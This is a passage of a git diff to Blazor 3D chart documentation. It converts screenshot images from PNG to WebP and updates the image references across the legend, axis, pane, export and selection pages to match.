diff --git a/blazor/3D-chart/images/working-data/blazor-chart-data-binding.png b/blazor/3D-chart/images/working-data/blazor-chart-data-binding.png
deleted file mode 100644
index f38aff52b7..0000000000
Binary files a/blazor/3D-chart/images/working-data/blazor-chart-data-binding.png and /dev/null differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-data-binding.webp b/blazor/3D-chart/images/working-data/blazor-chart-data-binding.webp
new file mode 100644
index 0000000000..1d26a9f386
Binary files /dev/null and b/blazor/3D-chart/images/working-data/blazor-chart-data-binding.webp differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-dynamic-object.png b/blazor/3D-chart/images/working-data/blazor-chart-dynamic-object.png
deleted file mode 100644
index 874c35558d..0000000000
Binary files a/blazor/3D-chart/images/working-data/blazor-chart-dynamic-object.png and /dev/null differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-dynamic-object.webp b/blazor/3D-chart/images/working-data/blazor-chart-dynamic-object.webp
new file mode 100644
index 0000000000..b6b481f7b6
Binary files /dev/null and b/blazor/3D-chart/images/working-data/blazor-chart-dynamic-object.webp differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-empty-point.png b/blazor/3D-chart/images/working-data/blazor-chart-empty-point.png
deleted file mode 100644
index d111b59e54..0000000000
Binary files a/blazor/3D-chart/images/working-data/blazor-chart-empty-point.png and /dev/null differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-empty-point.webp b/blazor/3D-chart/images/working-data/blazor-chart-empty-point.webp
new file mode 100644
index 0000000000..aa02ab6c97
Binary files /dev/null and b/blazor/3D-chart/images/working-data/blazor-chart-empty-point.webp differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-expando-object-binding.png b/blazor/3D-chart/images/working-data/blazor-chart-expando-object-binding.png
deleted file mode 100644
index e74cc2f783..0000000000
Binary files a/blazor/3D-chart/images/working-data/blazor-chart-expando-object-binding.png and /dev/null differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-expando-object-binding.webp b/blazor/3D-chart/images/working-data/blazor-chart-expando-object-binding.webp
new file mode 100644
index 0000000000..8a5465ffff
Binary files /dev/null and b/blazor/3D-chart/images/working-data/blazor-chart-expando-object-binding.webp differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-odatav4-adaptor-binding.png b/blazor/3D-chart/images/working-data/blazor-chart-odatav4-adaptor-binding.png
deleted file mode 100644
index c7ccdaec82..0000000000
Binary files a/blazor/3D-chart/images/working-data/blazor-chart-odatav4-adaptor-binding.png and /dev/null differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-odatav4-adaptor-binding.webp b/blazor/3D-chart/images/working-data/blazor-chart-odatav4-adaptor-binding.webp
new file mode 100644
index 0000000000..6766318b6d
Binary files /dev/null and b/blazor/3D-chart/images/working-data/blazor-chart-odatav4-adaptor-binding.webp differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-remote-data-binding.png b/blazor/3D-chart/images/working-data/blazor-chart-remote-data-binding.png
deleted file mode 100644
index c32a41bec1..0000000000
Binary files a/blazor/3D-chart/images/working-data/blazor-chart-remote-data-binding.png and /dev/null differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-remote-data-binding.webp b/blazor/3D-chart/images/working-data/blazor-chart-remote-data-binding.webp
new file mode 100644
index 0000000000..afc7f09a77
Binary files /dev/null and b/blazor/3D-chart/images/working-data/blazor-chart-remote-data-binding.webp differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-webapi-adaptor-binding.png b/blazor/3D-chart/images/working-data/blazor-chart-webapi-adaptor-binding.png
deleted file mode 100644
index 23bb042c57..0000000000
Binary files a/blazor/3D-chart/images/working-data/blazor-chart-webapi-adaptor-binding.png and /dev/null differ
diff --git a/blazor/3D-chart/images/working-data/blazor-chart-webapi-adaptor-binding.webp b/blazor/3D-chart/images/working-data/blazor-chart-webapi-adaptor-binding.webp
new file mode 100644
index 0000000000..aad176af9c
Binary files /dev/null and b/blazor/3D-chart/images/working-data/blazor-chart-webapi-adaptor-binding.webp differ
diff --git a/blazor/3D-chart/legend.md b/blazor/3D-chart/legend.md
index 291dee7736..59b0d5280f 100644
--- a/blazor/3D-chart/legend.md
+++ b/blazor/3D-chart/legend.md
@@ -56,7 +56,7 @@ By using the `Position` property, the legend can be positioned at left, right,
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNVzNnMVpznHbBmn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Legend Position in Blazor Column Chart](images/legend/blazor-column-chart-legend-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNVzNnMVpznHbBmn?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Legend Position in Blazor Column Chart](images/legend/blazor-column-chart-legend-position.webp)" %}
 
 The custom position helps you to position the legend anywhere in the 3D chart using x and y coordinates.
 
@@ -103,7 +103,7 @@ The custom position helps you to position the legend anywhere in the 3D chart us
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBJXHiLpzGiRrpE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Legend in Custom Position](images/legend/blazor-column-chart-legend-in-custom-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNBJXHiLpzGiRrpE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Legend in Custom Position](images/legend/blazor-column-chart-legend-in-custom-position.webp)" %}
 
 <!-- markdownlint-disable MD036 -->
 
@@ -152,7 +152,7 @@ The order of the legend items can be reversed by using the `Reverse` property. B
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVpXnsLpIMZlkTl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column 3D Chart Legend Reverse](images/legend/blazor-column-chart-legend-reverse.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVpXnsLpIMZlkTl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column 3D Chart Legend Reverse](images/legend/blazor-column-chart-legend-reverse.webp)" %}
 
 **Legend alignment**
 
@@ -202,7 +202,7 @@ The legend can be aligned at near, far or center to the 3D chart using the `Alig
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjLpDRsrTICojdGV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column 3D Chart Legend Alignment Position](images/legend/blazor-column-chart-legend-alignment-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjLpDRsrTICojdGV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column 3D Chart Legend Alignment Position](images/legend/blazor-column-chart-legend-alignment-position.webp)" %}
 
 ## Legend customization
 
@@ -249,7 +249,7 @@ To change the legend icon shape, `LegendShape` property in the `Series` can be
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtLTNRiBpyVrMjeP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Legend Shape in Blazor Column 3D Chart](images/legend/blazor-column-chart-legend-shape.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtLTNRiBpyVrMjeP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Legend Shape in Blazor Column 3D Chart](images/legend/blazor-column-chart-legend-shape.webp)" %}
 
 ### Legend size
 
@@ -298,7 +298,7 @@ By default, legend takes 20% - 25% of the 3D chart's height horizontally, when i
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrfDHMLpeVFwoRs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Legend with Custom Size](images/legend/blazor-column-chart-legend-custom-size.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrfDHMLpeVFwoRs?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Legend with Custom Size](images/legend/blazor-column-chart-legend-custom-size.webp)" %}
 
 ### Legend item Size
 
@@ -346,7 +346,7 @@ The size of the legend items can be customized by using the `ShapeHeight` and `S
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rthftHMLpyqztChS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart Legend Shape with Custom Size](images/legend/blazor-column-chart-custom-legend-shape-size.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rthftHMLpyqztChS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column Chart Legend Shape with Custom Size](images/legend/blazor-column-chart-custom-legend-shape-size.webp)" %}
 
 ### Paging for legend
 
@@ -394,7 +394,7 @@ Paging will be enabled by default, when the legend items exceeds the legend boun
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZVTDnChfygYhRAJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Legend with Paging](images/legend/blazor-column-chart-legend-paging.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZVTDnChfygYhRAJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Legend with Paging](images/legend/blazor-column-chart-legend-paging.webp)" %}
 
 ### Legend text wrap
 
@@ -442,7 +442,7 @@ When the legend text exceeds the container, the text can be wrapped by using the
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDVpXRsLJoJxytCf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart Legend with Wrap](images/legend/blazor-column-chart-legend-text-wrap.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDVpXRsLJoJxytCf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart Legend with Wrap](images/legend/blazor-column-chart-legend-text-wrap.webp)" %}
 
 ## Series selection through legend
 
@@ -490,7 +490,7 @@ By default, you can collapse the series visibility by clicking the legend. On th
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNhzNHiLfoSHNKph?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Legend with Series Selection](images/legend/blazor-column-chart-legend-series-selection.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNhzNHiLfoSHNKph?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Legend with Series Selection](images/legend/blazor-column-chart-legend-series-selection.webp)" %}
 
 ## Collapsing legend item
 
@@ -537,7 +537,7 @@ By default, series `Name` will be displayed as legend. To skip the legend for a
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjLJDxWLfeYGOxOB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Hiding Legend Item in Blazor Column 3D Chart](images/legend/blazor-column-chart-hide-legend-item.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjLJDxWLfeYGOxOB?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Hiding Legend Item in Blazor Column 3D Chart](images/legend/blazor-column-chart-hide-legend-item.webp)" %}
 
 ## Legend title
 
@@ -584,7 +584,7 @@ You can set title for legend using `Title` property in `LegendSettings`. The `Si
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDhztRiBfnXfzkzm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Legend Title in Blazor Column 3D Chart](images/legend/blazor-column-chart-legend-title.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDhztRiBfnXfzkzm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Legend Title in Blazor Column 3D Chart](images/legend/blazor-column-chart-legend-title.webp)" %}
 
 ## Arrow page navigation
 
@@ -632,7 +632,7 @@ The page number will always be visible while using legend paging. It is now poss
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXLfjxChpxNYlHvV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Enabling legend pages in Blazor Column 3D Chart](images/legend/blazor-column-chart-legend-with-page-navigation.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXLfjxChpxNYlHvV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Enabling legend pages in Blazor Column 3D Chart](images/legend/blazor-column-chart-legend-with-page-navigation.webp)" %}
 
 ### Legend Item Padding
 
@@ -680,4 +680,4 @@ The `ItemPadding` property can be used to adjust the space between the legend it
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDhTjnsVpdCodgcy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Legend Shape with Item Padding](images/legend/blazor-column-chart-legend-item-padding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDhTjnsVpdCodgcy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Legend Shape with Item Padding](images/legend/blazor-column-chart-legend-item-padding.webp)" %}
diff --git a/blazor/3D-chart/logarithmic-axis.md b/blazor/3D-chart/logarithmic-axis.md
index ef19be2411..3f474cbe19 100644
--- a/blazor/3D-chart/logarithmic-axis.md
+++ b/blazor/3D-chart/logarithmic-axis.md
@@ -51,7 +51,7 @@ Logarithmic axis uses logarithmic scale and it is very useful in visualizing dat
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZrJtnsUsBeKhZTc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart with Logarithmic Axis](images/logarithmic-axis/blazor-chart-logarithmic-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZrJtnsUsBeKhZTc?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor 3D Chart with Logarithmic Axis](images/logarithmic-axis/blazor-chart-logarithmic-axis.webp)" %}
 
 ## Range
 
@@ -95,7 +95,7 @@ The range of an axis will be calculated automatically based on the provided data
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZhzZnCUCBSddGpF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column 3D Chart Logarithmic Axis based on Range](images/logarithmic-axis/blazor-column-chart-axis-based-on-range.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZhzZnCUCBSddGpF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column 3D Chart Logarithmic Axis based on Range](images/logarithmic-axis/blazor-column-chart-axis-based-on-range.webp)" %}
 
 ## Logarithmic base
 
@@ -139,7 +139,7 @@ Logarithmic base can be customized by using the `LogBase` property of the axis
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDBTZdWqWhouoYOv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Logarithmic Axis with Base](images/logarithmic-axis/blazor-column-chart-logarithmic-axis-with-base.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rDBTZdWqWhouoYOv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart Logarithmic Axis with Base](images/logarithmic-axis/blazor-column-chart-logarithmic-axis-with-base.webp)" %}
 
 ## Logarithmic interval
 
@@ -183,4 +183,4 @@ The interval of the logarithmic axis can be customized by using the `Interval` p
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDBTNniUMVdBYcdW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column 3D Chart Logarithmic Axis based on Interval](images/logarithmic-axis/blazor-column-chart-axis-based-on-range-interval.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDBTNniUMVdBYcdW?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Column 3D Chart Logarithmic Axis based on Interval](images/logarithmic-axis/blazor-column-chart-axis-based-on-range-interval.webp)" %}
diff --git a/blazor/3D-chart/multiple-panes.md b/blazor/3D-chart/multiple-panes.md
index 1f78f617da..7309c10f09 100644
--- a/blazor/3D-chart/multiple-panes.md
+++ b/blazor/3D-chart/multiple-panes.md
@@ -64,7 +64,7 @@ To split the chart area vertically into number of rows, use `Rows` property of t
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLzXxiAsBdkbxIl?appbar=true&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Rows with Multiple Panes in Blazor 3D Chart](images/multiple-panes/blazor-chart-multiple-panes-with-rows.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLzXxiAsBdkbxIl?appbar=true&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Rows with Multiple Panes in Blazor 3D Chart](images/multiple-panes/blazor-chart-multiple-panes-with-rows.webp)" %}
 
 For spanning the vertical axis along multiple rows, use `Span` property of an axis.
 
@@ -114,7 +114,7 @@ For spanning the vertical axis along multiple rows, use `Span` property of an a
 
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hDhzjniUWLwATaKo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Row spanning with Multiple Panes in Blazor 3D Chart](images/multiple-panes/blazor-chart-multiple-span-with-rows-span.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hDhzjniUWLwATaKo?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Row spanning with Multiple Panes in Blazor 3D Chart](images/multiple-panes/blazor-chart-multiple-span-with-rows-span.webp)" %}
 
 ## Columns
 
@@ -169,7 +169,7 @@ To split the chart area horizontally into number of columns, use `Columns` prope
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLfjdsgiVmdedVN?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Columns with Multiple Panes in Blazor 3D Chart](images/multiple-panes/blazor-chart-multiple-panes-with-column.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjLfjdsgiVmdedVN?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Columns with Multiple Panes in Blazor 3D Chart](images/multiple-panes/blazor-chart-multiple-panes-with-column.webp)" %}
 
 The `Span` property of the axis can be used to span the horizontal axis across multiple column.
 
@@ -219,4 +219,4 @@ The `Span` property of the axis can be used to span the horizontal axis across m
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtLzXRiqsVGkcDLy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Column Spanning with Multiple Panes in Blazor 3D Chart](images/multiple-panes/blazor-chart-multiple-panes-with-column-span.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtLzXRiqsVGkcDLy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Column Spanning with Multiple Panes in Blazor 3D Chart](images/multiple-panes/blazor-chart-multiple-panes-with-column-span.webp)" %}
diff --git a/blazor/3D-chart/numeric-axis.md b/blazor/3D-chart/numeric-axis.md
index 6adac00cd7..7454336818 100644
--- a/blazor/3D-chart/numeric-axis.md
+++ b/blazor/3D-chart/numeric-axis.md
@@ -44,7 +44,7 @@ The numeric axis can be used to represent the numeric values of data in 3D chart
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BDhJjRsUMqZPMXVt?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Numeric Axis](images/numeric-axis/blazor-column-chart-numeric-axis.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BDhJjRsUMqZPMXVt?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Numeric Axis](images/numeric-axis/blazor-column-chart-numeric-axis.webp)" %}
 
 ## Range
 
@@ -82,7 +82,7 @@ The range of an axis will be calculated automatically based on the provided data
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNVJZHCACUsVDOLk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Column 3D Chart Axis based on Range](images/numeric-axis/blazor-column-chart-axis-range.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNVJZHCACUsVDOLk?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Column 3D Chart Axis based on Range](images/numeric-axis/blazor-column-chart-axis-range.webp)" %}
 
 ## Range padding
 
@@ -131,7 +131,7 @@ When the `RangePadding` is set to **None**, the minimum and maximum of an ax
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDLpDnMqCKVVDIJp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart without RangePadding](images/numeric-axis/blazor-column-chart-range-without-padding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDLpDnMqCKVVDIJp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart without RangePadding](images/numeric-axis/blazor-column-chart-range-without-padding.webp)" %}
 
 **Numeric - Round**
 
@@ -169,7 +169,7 @@ When the `RangePadding` is set to **Round**, the minimum and maximum will be r
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rthTtHiUMKhdGTjA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Round RangePadding](images/numeric-axis/blazor-column-chart-round-range-padding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rthTtHiUMKhdGTjA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Round RangePadding](images/numeric-axis/blazor-column-chart-round-range-padding.webp)" %}
 
 **Numeric - Additional**
 
@@ -207,7 +207,7 @@ When the `RangePadding` is set to **Additional**, interval of an axis will be
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhpZxMAiUKXQVEl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Additional RangePadding](images/numeric-axis/blazor-column-chart-additional-range-padding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhpZxMAiUKXQVEl?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Additional RangePadding](images/numeric-axis/blazor-column-chart-additional-range-padding.webp)" %}
 
 **Numeric - Normal**
 
@@ -245,7 +245,7 @@ When the `RangePadding` is set to **Normal**, padding is applied to the axis
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjBTjdsUigqzLKgV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Normal RangePadding](images/numeric-axis/blazor-column-chart-normal-range-padding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjBTjdsUigqzLKgV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Normal RangePadding](images/numeric-axis/blazor-column-chart-normal-range-padding.webp)" %}
 
 **Numeric - Auto**
 
@@ -284,7 +284,7 @@ When the `RangePadding` is set to **Auto**, horizontal numeric axis takes **N
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBJNHWUiAgPWmCw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Auto RangePadding](images/numeric-axis/blazor-column-chart-auto-rangepadding.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBJNHWUiAgPWmCw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Auto RangePadding](images/numeric-axis/blazor-column-chart-auto-rangepadding.webp)" %}
 
 ## Label format
 
@@ -329,7 +329,7 @@ Numeric labels can be formatted by using the `LabelFormat` property. Also, it s
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LtVzDRCUsATCTBYJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Label Formatting in Blazor Column 3D Chart](images/numeric-axis/blazor-column-chart-label-format.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LtVzDRCUsATCTBYJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Label Formatting in Blazor Column 3D Chart](images/numeric-axis/blazor-column-chart-label-format.webp)" %}
 
 The table below shows the results of applying various commonly used label formats to numeric data.
 
@@ -430,7 +430,7 @@ To separate groups of thousands for numerical values, use the `UseGroupingSepara
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDLfZHiUMgzGZgqO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping Separator in Blazor Column 3D Chart](images/numeric-axis/blazor-column-chart-grouping-separator.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDLfZHiUMgzGZgqO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Grouping Separator in Blazor Column 3D Chart](images/numeric-axis/blazor-column-chart-grouping-separator.webp)" %}
 
 ## Custom label format
 
@@ -472,4 +472,4 @@ Axis also supports custom label format using placeholders such as {value}K, wher
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZBztRiqiUoUFbWM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Label Format](images/numeric-axis/blazor-column-chart-custom-label-format.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZBztRiqiUoUFbWM?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Custom Label Format](images/numeric-axis/blazor-column-chart-custom-label-format.webp)" %}
diff --git a/blazor/3D-chart/print-export.md b/blazor/3D-chart/print-export.md
index 6295b734be..83dc039442 100644
--- a/blazor/3D-chart/print-export.md
+++ b/blazor/3D-chart/print-export.md
@@ -59,7 +59,7 @@ The rendered 3D chart can be printed directly from the browser by calling the pu
 
 ```
 
-![Printing in Blazor 3D Chart](images/getting-started/blazor-chart-printing.png)
+![Printing in Blazor 3D Chart](images/getting-started/blazor-chart-printing.webp)
 
 ## Export
 
@@ -111,4 +111,4 @@ The rendered 3D chart can be exported to `JPEG`, `PNG`, `SVG`, or `PDF` format u
 
 ```
 
-![Exporting in Blazor 3D Chart](images/getting-started/blazor-chart-exporting.png)
+![Exporting in Blazor 3D Chart](images/getting-started/blazor-chart-exporting.webp)
diff --git a/blazor/3D-chart/selection.md b/blazor/3D-chart/selection.md
index 2c84c094cd..bd9c6c5f73 100644
--- a/blazor/3D-chart/selection.md
+++ b/blazor/3D-chart/selection.md
@@ -67,7 +67,7 @@ To select a point, set the `SelectionMode` property to **Point**.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXVpjnMgCpXGYJIf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Point Selection](images/selection/blazor-chart-point-selection.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXVpjnMgCpXGYJIf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Point Selection](images/selection/blazor-chart-point-selection.webp)" %}
 
 ## Series
 
@@ -114,7 +114,7 @@ To select a series, set the `SelectionMode` property to **Series**.
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjrpXHWUCJCTRDgK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Series Selection](images/selection/blazor-chart-series-selection.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rjrpXHWUCJCTRDgK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Series Selection](images/selection/blazor-chart-series-selection.webp)" %}
 
 ## Cluster
 
@@ -161,7 +161,7 @@ To select the points that corresponds to the same index in all the series, set t
 }
 
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hXhpXxsKCJCblvOv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Cluster Selection](images/selection/blazor-chart-cluster-selection.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hXhpXxsKCJCblvOv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Column 3D Chart with Cluster Selection](images/selection/blazor-chart-cluster-selection.webp)" %}
 
 ## Selection type
 
@@ -208,7 +208,7 @@ To select multiple points or series, enable the `AllowMultiSelection`  property.
 }
 
 ```
